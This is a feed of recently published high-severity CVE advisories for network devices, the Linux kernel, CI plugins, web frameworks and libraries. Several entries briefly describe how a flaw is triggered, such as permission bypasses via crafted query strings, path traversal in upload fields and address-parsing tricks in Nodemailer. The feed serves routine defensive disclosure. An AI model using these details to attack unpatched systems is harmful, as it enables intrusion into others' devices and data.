CVE-2026-73167	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.
CVE-2026-73170	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-94: Improper Control of Generation of Code ('Code Injection') vulnerability in the Modbus CSV import workflow of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary Lua code on the device via a crafted imported file.
CVE-2026-73171	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-73: External Control of File Name or Path vulnerability in the backup-restore workflow of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows a remote authenticated attacker to overwrite arbitrary files on the device filesystem by uploading a crafted backup archive through the web management interface.
CVE-2026-73176	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the web management interface of Advantech EKI-1242IEIMS in firmware version V1.06.01 that allows a remote authenticated attacker to execute arbitrary OS commands as root via crafted request parameters.
CVE-2026-73177	New	8.6	HIGH				Nozomi Networks Labs identified a CWE-345: Insufficient Verification of Data Authenticity vulnerability in the firmware upgrade mechanism of the Advantech EKI-1242EIMS in firmware version V1.06.01. The device accepts firmware images through the authenticated web management interface without performing any cryptographic signature or certificate verification. An authenticated ...
CVE-2026-73454	New	8.6	HIGH		0.003		On affected platforms running Arista EOS with gRPC Network Security Interface (gNSI) Credentialz configured, a specially crafted request can cause unintended modifications to the target account's properties. This may result in the account being assigned elevated privileges or access beyond what an administrator intended.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-78472	New	8.6	HIGH		0.002		The Ni WooCommerce Sales Report WordPress plugin before 4.2.0 does not sanitise and escape a parameter before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks.
CVE-2026-91098	New	8.6	HIGH				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-91105	New	8.6	HIGH				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-92716	New	8.6	HIGH				Shuffle through 2.2.1 contains a cross-tenant privilege escalation vulnerability in the HandleApiGeneration endpoint that allows administrators to reset and read API keys of non-administrator users in other organizations. Attackers with admin privileges in one organization can supply arbitrary user IDs to generate valid API keys for users in different organizations, enabling...
CVE-2026-92763	New	8.6	HIGH				Rundeck through 6.2.1 fails to properly authorize the importConfig and importNodesSources parameters in the project archive import endpoint. Attackers with only the import action can replace project configuration files including security-relevant settings like node executors and SSH key paths that affect job execution.
CVE-2026-92793	New	8.6	HIGH				GoAdmin through 1.2.26 fails to properly anchor the logout pattern when checking permissions, allowing authenticated users to bypass permission checks by appending a query parameter. Attackers can append a query string containing the admin prefix followed by /logout to reach administrative endpoints and perform unauthorized actions including reading sensitive data and modify...
CVE-2026-76412	New	8.5	HIGH				A vulnerability in the remote diagnostics debugger of Cisco Secure FMC Software could allow an authenticated, remote attacker to enable the remote diagnostics debugger service. This vulnerability is due to an error when checking the privilege level of a user who is invoking remote diagnostics. An attacker could exploit this vulnerability by authenticating to the device, e...
CVE-2026-79708	New	8.5	HIGH		0.003		GitLab has remediated an issue in GitLab EE affecting all versions from 19.0 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions could have allowed an authenticated user with developer permissions to execute a policy test pipeline on projects within their group and access protected CI/CD variables restricted to higher-privileged roles, du...
CVE-2026-86359	New	8.5	HIGH				Dell Repository Manager, versions prior to 3.5.2, contains an Incorrect Default Permissions vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVE-2026-92397	New	8.5	HIGH				A vulnerability has been found in Ruijie RG-EW3000GX EW_3.0(1)B11P380. Affected by this vulnerability is the function cc_set of the file unifyframe-sgi.elf of the component configChange. Such manipulation of the argument data.url leads to os command injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92398	New	8.5	HIGH				A vulnerability was found in Ruijie RG-EW3000GX EW_3.0(1)B11P380. Affected by this issue is some unknown functionality of the file /etc/rg_config/admin of the component user_list_note Module. Performing a manipulation of the argument Name results in os command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used.
CVE-2026-20334	New	8.4	HIGH				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-40857	New	8.4	HIGH				WNC T-Mobile 5G Box IDU router contains a cross-site request forgery (CSRF) vulnerability in the portal.cgi component. The anti-CSRF mechanism fails to validate the csrf_token_value parameter, accepting any arbitrary value as valid. This allows a remote attacker to perform unauthorized actions on the device by tricking an authenticated user into visiting a malicious website....
CVE-2026-76825	New	8.4	HIGH				RestrictedPython is a tool that helps define a subset of the Python language for accepting program input in a trusted environment. Prior to 8.4, RestrictedPython could allow a sandbox escape when a custom import policy or globals exposed the standard library string module, the string.Formatter class, a Formatter instance, or a Formatter subclass to restricted code. The strin...
CVE-2026-79298	New	8.4	HIGH				An issue in Howyar Technologies Inc SysReturn Versions prior to 11.3.034 and fixed in v.11.3.0.34 allows a local attcker to execute arbitrary code via the BOOTia32.efi and a crafted cloak32.dat file on the ESP.
CVE-2026-82717	New	8.4	HIGH		0.004		In NLnet Labs Unbound up to and including 1.26.0, a vulnerability was found in that can progressively corrupt heap memory and under certain systems and compilation options could lead to remote code execution. The vulnerability starts when CNAME synthesis during an upstream response needs to enforce(rewrite) a max TTL value in the packet buffer. Coupled with a compression poi...
CVE-2026-89781	New	8.4	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix out-of-bounds read in read_log_rec_buf() read_log_rec_buf() copies a log record into a caller buffer starting at u32 off = lsn_to_page_off(log, lsn) + log->record_header_len; log->record_header_len (and log->data_off, used for the following pages) comes verbatim from the on-disk restart ar...
CVE-2026-89782	New	8.4	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: reject restart table growth beyond U16_MAX entries During \$LogFile replay, log_replay() indexes the transaction table by the transact_id taken from the log record header. check_log_rec() only verifies that transact_id is non-zero and properly aligned, not its magnitude, so a crafted image can re...
CVE-2026-89795	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: PCI: Allow per function PCI slots to fix slot reset on s390 On s390 systems, which use a machine level hypervisor, PCI devices are always accessed through a form of PCI pass-through which fundamentally operates on a per PCI function granularity. This is also reflected in the s390 PCI hotplug driver which c...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89806	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/sysfb: ofdrm: Fix integer overflow in fb_size calculation The framebuffer size calculation `fb_size = linebytes * height` can overflow when both values are large (e.g., 46341 * 46341 > INT_MAX). Since linebytes and height are both int types, the multiplication is performed as int * int, which results i...
CVE-2026-89856	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Clamp MSI-X derived queue counts to avoid truncation ha->msix_count is u16, but ha->max_req_queues, ha->max_rsp_queues and ha->max_qpairs are u8. Deriving the queue count as "ha->max_req_queues = ha->msix_count - 1" therefore truncates: a board (or a misconfigured/malicious hot-plugged devic...
CVE-2026-89877	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: saa7164: fix cleanup on resource allocation failure saa7164_dev_setup() adds the device to the global saa7164_devlist before requesting the PCI BAR memory regions. If get_resources() fails, saa7164_dev_setup() decrements the device count and returns an error, but leaves the device on saa7164_devlis...
CVE-2026-89885	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: platform: mtk-mdp3: Fix SCP device refcounting mdp_probe() first tries to get the SCP handle with scp_get(). When that fails, it falls back to looking up the SCP platform device with __get_pdev_by_id() and then reads its driver data. The fallback lookup returns the platform device with a reference,...
CVE-2026-89904	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: LoongArch: Fix acpi_package_ids[] array overflow With LoongArch virt machine, a typical setting is one core per socket, there will max 256 sockets (packages) on one VM. With PPTT acpi table, array acpi_package_ids[] will be overflowed. Here change the array size of acpi_package_ids[] with the max value of...
CVE-2026-89943	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: ASoC: loongson: Fix error handling in ACPI property parsing In loongson_card_parse_acpi(), the return value of device_property_read_string() for the `codec-dai-name` property was ignored. If the property is missing or invalid, an uninitialized pointer would be used later, potentially leading to undefined b...
CVE-2026-89980	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: ALSA: harmony: initialize locks before requesting IRQ snd_harmony_create() registers the IRQ before initializing h->lock and h->mixer_lock. A pending interrupt can invoke the handler while these locks are uninitialized. Initialize both locks before requesting the IRQ so the handler always sees valid lock ...
CVE-2026-89992	New	8.4	HIGH				In the Linux kernel, the following vulnerability has been resolved: cpuidle: dt_idle_genpd: kfree() the original name allocation dt_idle_pd_alloc() kasprintf(s the full node path, then points pd->name at kbasename() of that string. dt_idle_pd_free() kfree(s pd->name, which is no longer the start of the allocation. Copy the basename instead.
CVE-2026-91102	New	8.4	HIGH				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20323	New	8.3	HIGH				A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software and Cisco Secure FTD Software could allow an unauthenticated, adjacent attacker to impersonate the peer device and obtain access at the level of the manager role, which is equivalent to root. This vulnerability is due to improper management of the TLS certificate for the ...
CVE-2026-92467	New	8.3	HIGH				zlt2000 microservices-platform through 6.0.0 contains an unverified password change vulnerability in the PUT /users/password endpoint that allows authenticated users to change any account password by omitting the current password check. Attackers can supply an arbitrary user id in the request body and a new password to overwrite credentials of any non-administrator account w...
CVE-2026-92597	New	8.3	HIGH				Nodemailer versions >= 6.9.16 and < 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before a non-break character causes the tokenizer to concatenate the atoms surrounding the comment instead of treating the comment as folding whitespace that terminates the domain. A recipient address such as user@good-corp.com(x)evil.c...
CVE-2026-92598	New	8.3	HIGH				Nodemailer before 9.1.0 fails to apply UTS-46 normalization when encoding international domain names, causing the domain resolver to compute a different Punycode A-label than standards-compliant parsers. Attackers can craft recipient addresses with invisible characters or compatibility mappings that pass domain allow-list checks but are delivered to attacker-controlled domai...
CVE-2026-92752	New	8.3	HIGH				metasfresh DocumentAttachmentsRestController and CommentsRestController endpoints check only that callers are logged in without enforcing record-level permissions. Attackers can enumerate sequential document identifiers to read, replace, and delete attachments and comments on records their role cannot access.
CVE-2026-63127	New	8.2	HIGH			rust:rmcp	RMCP is an official Rust SDK for the Model Context Protocol. Prior to 2.0.0, the rmcp crate's OAuth implementation in crates/rmcp/src/transport/auth.rs omits the RFC 9728 resource field from ResourceServerMetadata and allows discover_oauth_server_via_resource_metadata to use protected-resource metadata without confirming that the returned resource identifier exactly matches ...
CVE-2026-71180	New	8.2	HIGH				Dell Update Package Framework, versions prior to 26.07.03, contains an Unchecked Return Value vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.
CVE-2026-76413	New	8.2	HIGH				A vulnerability in Cisco Adaptive Security Device Manager (ASDM) single sign-on (SSO) handler for Cisco Secure FMC Software could allow an unauthenticated, remote attacker to log in as the Cisco ASDM administrator user. This vulnerability is due to improper management of the Cisco ASDM SSO token. An attacker could exploit this vulnerability by performing session token for...
CVE-2026-77406	New	8.2	HIGH				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Channel.Qos in channel.go accepts negative prefetchCount and prefetchSize integers and casts them directly to uint16 and uint32 fields in the basic.qos method because validateQos is absent. Values such as -1 therefore wrap to 65535 or 4294967295 instead of being rejected. An application that permits untrusted co...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77409	New	8.2	HIGH				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, Channel.dispatch in channel.go, confirms.confirm in confirms.go, and Connection.dispatch0 in connection.go synchronously send publisher confirmations, flow-control events, consumer cancellations, returned messages, including NotifyConfirm events and connection block notifications, to application-provided channel...
CVE-2026-78252	New	8.2	HIGH		0.004		GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.3 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an authenticated user could have induced a targeted user to perform unintended state-changing HTTP requests due to improper sanitization of user-controlled data in the Markdown JSON table renderer.
CVE-2026-86107	New	8.2	HIGH				The VeloCloud Edge and Gateway exhibit an out-of-bounds write vulnerability when processing tunneled IP fragments between authenticated overlay neighbors. This vulnerability impacts the VeloCloud VCMP tunnel protocol only. A successful exploit can cause the affected process to terminate and restart, leading to a temporary disruption of traffic. Hosts on the internet that ar...
CVE-2026-89028	New	8.2	HIGH				MikroTik RouterOS before 7.24 contains a heap memory corruption vulnerability in the userspace SMB daemon that allows remote attackers to corrupt adjacent heap memory by supplying a crafted uniPwLen value in the SMB1 SessionSetupAndX handler. An attacker can send a malformed SMB1 request with a uniPwLen field that triggers an integer underflow, causing the resulting value ...
CVE-2026-89973	New	8.2	HIGH				In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: check the data direction of a C2HData PDU nvme_tcp_handle_c2h_data() finds the request by command id and checks that it has a payload, but it does not check that the command asked for data to be read. A controller that answers a write command with C2HData therefore reaches nvme_tcp_recv_data(), ...
CVE-2026-92591	New	8.2	HIGH				Craft CMS 5.0.0 through 5.10.12 treats a database connection failure as meaning that Craft is not installed, which makes anonymous installer actions — including install/validate-site — reachable on an installed production site whenever PHP remains available but the configured MySQL endpoint does not. The action accepts a site name, serializes it through Site::getName(), and ...
CVE-2026-92729	New	8.2	HIGH				SigNoz versions 0.88.0 through 0.141.0 fail to apply authorization wrappers to trace-funnel analytics endpoints in the HTTP handler. Unauthenticated attackers can submit arbitrary funnel definitions to retrieve trace analytics including identifiers, durations, span counts, service topology, and error activity without credentials.
CVE-2025-43936	New	8.1	HIGH				Dell ObjectScale, versions prior to ObjectScale 4.4.0.0, contains an Improper Authentication vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.
CVE-2026-20335	New	8.1	HIGH				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-27552	New	8.1	HIGH		0.006		A low-privileged remote attacker can exploit improper authorization in the <code>/index.php/attached_devices_tab/do_upload</code> endpoint to upload IODD files to the device, potentially altering device behavior or causing system crashes.
CVE-2026-61591	New	8.1	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, for views that opt into state snapshots, the snapshot <code>`state_json`</code> embedded in the client page was restored on reconnect as trusted view state with no integrity check. A client could edit the unsigned <code>`state_json`</code> in their page and return it ...
CVE-2026-61593	New	8.1	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the SSE client→server POST endpoints are <code>`@csrf_exempt`</code> and the SSE GET stream endpoint had no Origin check, so a cross-origin page could drive a victim-cookie-authenticated SSE session: force the victim's browser to GET the stream URL (which...
CVE-2026-63671	New	8.1	HIGH			npm:@nuxtjs/mdc	MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to 0.22.1, <code>@nuxtjs/mdc</code> uses <code>parseMarkdown</code> with <code>allowDangerousHtml</code> enabled by default and relies on <code>validateProps</code> , <code>validateProp</code> , and <code>unsafeLinkPrefix</code> to remove executable URLs from untrusted Markdown. <code>validateProp</code> checks only attributes named <code>href</code> or <code>src</code> , allowing an SVG ...
CVE-2026-74909	New	8.1	HIGH				Keycloak provides a policy enforcer to protect applications by matching incoming web requests against defined security policies. A flaw was found where the enforcer fails to correctly normalize web addresses that contain special encoded characters, such as those representing semicolons or directory traversal segments. An authenticated user can use these encoded characters to...
CVE-2026-85530	New	8.1	HIGH		0.002		The GiveWP WordPress plugin before 4.16.8.1 does not consistently normalise a donor's e-mail address between the value it stores and the value it later uses to look that donor up, allowing unauthenticated users to be resolved as an arbitrary donor and to set the WordPress password of any user account linked to one, including an administrator's.
CVE-2026-86466	New	8.1	HIGH		0.001		Apache Airflow FAB provider: the Authentik OAuth path in the FAB auth manager does not validate the issuer or audience claims of the <code>id_token</code> it accepts. An attacker holding a token that the same Authentik identity provider minted for a different client application can present it to Airflow and be authenticated as the user it names, because the audience claim is never checked...
CVE-2026-89848	New	8.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Quiesce response IRQ before freeing request queue <code>qla2xxx_delete_qpair()</code> deletes the request queue before the response queue. <code>qla25xx_delete_req_que()</code> frees the request queue memory (<code>kfree(req)</code> in <code>qla25xx_free_req_que()</code>), but the response-queue MSI-X is only released later, in <code>qla25xx_free_r...</code>
CVE-2026-89861	New	8.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Hold vport reference in <code>qla24xx_report_id_acquisition()</code> In the format 1 path, the virtual port is located on <code>ha->vp_list</code> while holding <code>vport_slock</code> , but the lock is dropped before <code>vp</code> is used: <code>qla_update_host_map()</code> is called and <code>VP_IDX_ACQUIRED/REGISTER_FC4_NEEDED/ REGISTER_FDMI_NEEDED</code> are set...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89999	New	8.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: HID: wacom: validate report length in wacom_intuos_pro2_bt_irq wacom_intuos_pro2_bt_irq() receives the wire report length in `len` but never consults it before parsing. After the report-id gate it unconditionally calls wacom_intuos_pro2_bt_pen() and then, selected by features.type, a fixed chain of sub-par...
CVE-2026-92087	New	8.1	HIGH				@fastify/auth is a Fastify plugin that composes multiple authentication and authorization strategies into a single route guard. In versions 5.0.0 through 5.1.0, when strategies are composed with the relation "or" option together with the run "all" option and one entry is a nested array acting as an AND group, the group is evaluated in an order-dependent way: an earlier faili...
CVE-2026-92604	New	8.1	HIGH				Scirius through 3.8.0 contains an arbitrary file write vulnerability in the PCAP filestore upload endpoint that allows default User role users to write attacker-controlled JSON content to filesystem paths. Attackers can supply path traversal sequences in the uploaded document's _id field to escape the intended directory and write files with .json extension to arbitrary locat...
CVE-2026-92776	New	8.1	HIGH				Wiki.js through 2.5.314 fails to require path separators when matching START and END page rules, allowing attackers to access pages sharing a prefix with authorized folders. Users granted access to a folder can read and modify unrelated pages with matching prefixes, bypassing intended access controls.
CVE-2026-92782	New	8.1	HIGH				Chroma through 1.5.9 fails to validate tenant and database segments when resolving collections, allowing authenticated attackers to access collections from other tenants by knowing the collection identifier. Attackers can read, modify, and update records in foreign collections by issuing requests under their own tenant path, bypassing authorization checks.
CVE-2026-85469	New	8.0	HIGH				A flaw was found in quay-builder-qemu. A remote attacker could exploit this by compromising the upstream `Noelware/docker-manifest-action` used in the release workflow, which is pinned to a mutable branch. This allows the attacker to inject arbitrary code, leading to the exfiltration of sensitive registry credentials or the publication of malicious images. The workflow also ...
CVE-2026-89947	New	8.0	HIGH				In the Linux kernel, the following vulnerability has been resolved: clk: meson: align gxbb_32k_clk_sel number of parents with actual count The following out-of-bounds read has been observed by Christian on a GXBB WeTek Hub: ===== BUG: KASAN: global-out-of-bounds in __clk_register+0x1b70/0x2418 Read of size 8 at a...
CVE-2026-89954	New	8.0	HIGH				In the Linux kernel, the following vulnerability has been resolved: mtd: afs: validate v2 image info bounds The AFS v2 parser uses footer[8] to locate the image information block inside the current erase block, then uses the image information region_count to walk entries from a fixed local array. The footer offset and region count come from flash contents and are not check...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92127	New	8.0	HIGH				Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier automatically approves the classpath entries in an item configuration when a user with Overall/Administer permission copies the item, or updates that configuration through the REST API or CLI, allowing attackers able to define classpath entries to execute arbitrary code in the context of the Jenkins controller ...
CVE-2026-92134	New	8.0	HIGH				Jenkins Warnings Plugin 13.10258.va_17d49a_78c3b_ and earlier does not validate the analysis results ID when a job configuration is submitted through the REST API, allowing attackers with Item/Configure permission to use a javascript: scheme URL as identifier, resulting in a stored cross-site scripting (XSS) vulnerability.
CVE-2026-92135	New	8.0	HIGH				Jenkins Coverage Plugin 3.3358.v9487dde48783 and earlier does not validate the coverage results ID when a job configuration is submitted through the REST API, allowing attackers with Item/Configure permission to use a javascript: scheme URL as identifier, resulting in a stored cross-site scripting (XSS) vulnerability.
CVE-2026-92136	New	8.0	HIGH				Jenkins OWASP Dependency-Check Plugin 5.6.4 and earlier does not escape CWE values from Dependency-Check reports on the Jenkins UI, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.
CVE-2026-89911	New	7.9	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Correctly cap TLBI Range to the architural limit TLB Invalidation by Range has a fairly powerful way of encoding pretty large ranges in a small number of bits. This range can be based on an arbitrary VA, which means it is pretty easy for a guest to generate an overflow should the hypervisor be ...
CVE-2026-59974	New	7.8	HIGH				Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.14.0, stanza.resources.common.unzip in stanza/resources/common.py passes downloaded model and resource archives to zipfile.ZipFile.extractall without validating member paths, and the vulnerable extraction path is reachable through stanza.downl...
CVE-2026-63325	New	7.8	HIGH				Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to version 2.33.0 of @redocly/respect-core and @redocly/cli, the respect command dynamically evaluates \$faker runtime expressions in Arazzo descriptions. A crafted expression can traverse constructor, prototype, or __proto__ properties in packages/respect-core/src/modules/context-parser/...
CVE-2026-89789	New	7.8	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: gtp: add synchronize_net() in gtp_newlink() error path to prevent use-after-free gtp_newlink()'s error path frees tid_hash and addr_hash without waiting for an RCU grace period after clearing sk_user_data. A concurrent gtp_encap_rcv() in softirq may still hold the gtp_dev pointer obtained via rcu_derefer...
CVE-2026-89791	New	7.8	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: perf: Fix use-after-free when perf mmap() revival races with the last munmap() perf_mmap_close() drops rb->mmap_count *without* holding event->mmap_mutex (the refcount_dec_and_test() right before the refcount_dec_and_mutex_lock() of event->mmap_count). A concurrent perf_mmap_rb() can slot its entire "reviv...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89793	New	7.8	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: ublk: clear VM_MAYWRITE on read-only ublk char device mmap ublk_ch_mmap() rejects mmap requests with VM_WRITE set, but never clears VM_MAYWRITE on the resulting read-only mapping. This allows a userspace daemon to mmap the per-queue command buffer PROT_READ, then upgrade it to PROT_WRITE via mprotect(), si...
CVE-2026-89799	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: bpf: Disable preemption in bpf_get_stackid The get_perf_callchain call needs disabled preemption plus we need it disabled as long as we access its returned trace entries buffer. Note the bpf_get_stackid_pe function is executed already with preemption disabled.
CVE-2026-89801	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/uvmm: fix premature region free on failed OP_UNMAP_SPARSE In nouveau_uvmm_bind_job_submit()'s OP_UNMAP_SPARSE arm, op->reg is set from nouveau_uvma_region_find(), which only looks the region up and takes no reference; a region's sole reference is its membership in uvmm->region_mt. Two failure p...
CVE-2026-89803	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/nouveau: unsubscribe the channel-kill event before the fence context nouveau_channel_del() tears the fence context down first and only drops the channel-kill subscription later, in the middle of the nvif object teardown: if (chan->fence) nouveau_fence(chan->cli->drm)->context_del(chan); ... nvif_...
CVE-2026-89805	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/pagemap: Fix folio allocation fallback and use-after-put drm_pagemap_migrate_populate_ram_pfn() had two issues when populating RAM PFNs with higher-order folios: 1. The higher-order vma_alloc_folio()/folio_alloc() calls did not pass __GFP_NOWARN, so a THP allocation failure under memory pressure ...
CVE-2026-89808	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix the case that vm range is hole at svm_migrate_copy_to_vram When migration vm range is hole at cpu side(MIGRATE_PFN_MIGRATE set + MIGRATE_PFN_VALID unset) driver still allocates device pages. There is no dma map of src pages and migration. j is 0 and svm_migrate_copy_memory_gart() will retur...
CVE-2026-89810	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Fix error path at svm_migrate_copy_to_ram If page migration from device to sys ram fails for some reasons driver needs release and unlock allocated system pages. To do that driver should use page physical address, or pfn, then get struct page*. Current driver uses dma address(for adev) that is ...
CVE-2026-89814	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: clamp the isolation index for rings outside a partition adev->isolation[] has one slot per partition, but a ring that is not assigned to one keeps AMDGPU_XCP_NO_PARTITION, which is ~0, so indexing the array with it is out of bounds. SDMA submissions hit this on both the isolation enforcement an...
CVE-2026-89815	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/ttm: Drop tt->restore after successful restore ttm_pool_restore_and_alloc() can successfully complete the restore process via ttm_pool_restore_commit(), but tt->restore is not dropped afterward. As a result, subsequent backup/restore flows observe what appears to be a completed restore, while in realit...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89819	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: validate plane degamma LUT size for private color prop Unlike the CRTIC degamma path, which is guarded by amdgpu_dm_verify_lut_sizes(), the per-plane degamma LUT size was never validated before use. __set_dm_plane_degamma() passed the user-supplied size straight into __is_lut_linear() and, ...
CVE-2026-89823	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm: fix race between partial drm_dev_register() failure and ioctl If drm_dev_register() fails after registering a minor (e.g. render minor registered, primary minor fails), userspace could have opened the first minor and entered a drm_dev_enter() critical section. Since the unplugged flag was never set, t...
CVE-2026-89825	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/panthor: fix firmware control interface bounds checks panthor_init_cs_iface() and panthor_init_csg_iface() validate firmware control interface offsets with 32-bit arithmetic and the size of the host wrapper structures. The offsets are derived from firmware-provided strides, so the arithmetic can wrap b...
CVE-2026-89829	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to pass folio->index to f2fs_sanity_check_node_footer() Otherwise in f2fs_sanity_check_node_footer(), it will check the same nid incorrectly.
CVE-2026-89832	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to clear dirty flag on folio in error path If node block is corrupted due to chksum mismatch or inconsistent footer info, it needs to drop clear flag of node folio, in order to persist inconsistent node data to storage.
CVE-2026-89836	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: f2fs: fix folio_nr_pages() race after put in large folio invalidate Our v6.18 based Android system is continually suffering livelock and bad page stat as shown in[1] which related to broken xarray slot status. By investigating big folio operations within f2fs, we find below races and fix it by get the nr_pa...
CVE-2026-89841	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: f2fs: only redirty pinned folios in redirty_blocks redirty_blocks() pins folios with read_cache_folio() and then walks the same range again with filemap_lock_folio() to redirty them and drop the references it took. Commit 5951fee46bef ("f2fs: Use a folio in redirty_blocks()") changed the second pass to a ...
CVE-2026-89854	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix cs84xx use-after-free on host teardown qla84xx_put_chip() drops the last reference to ha->cs84xx and frees it via __qla84xx_chip_release() without clearing ha->cs84xx. During teardown it ran before scsi_remove_host(), which is what removes the 84xx_fw_version host sysfs attribute. A conc...
CVE-2026-89870	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: zoran: Avoid freeing a registered video_device twice zoran_init_video_device() installs zoran_vdev_release() as the video_device release callback through zoran_template. After video_register_device() succeeds, video_unregister_device() drops the registered video_device reference and the V4L2 core ev...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89873	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: v4l2-ctrls: validate HEVC EXT SPS RPS counts The HEVC SPS control carries the short-term and long-term RPS counts that decoder drivers use to walk the matching EXT SPS dynamic arrays. Reject SPS values that exceed the HEVC limits of 64 short-term sets and 32 long-term references so drivers cannot la...
CVE-2026-89875	New	7.8	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: ti: vpe: quiesce overflow recovery before freeing streams The VIP overflow recovery worker is armed from the hardirq handler when a FIFO overflow is detected, and the list-complete path looks the stream up through the VPDMA list private pointer. Both keep touching stream, port and device state; the ...
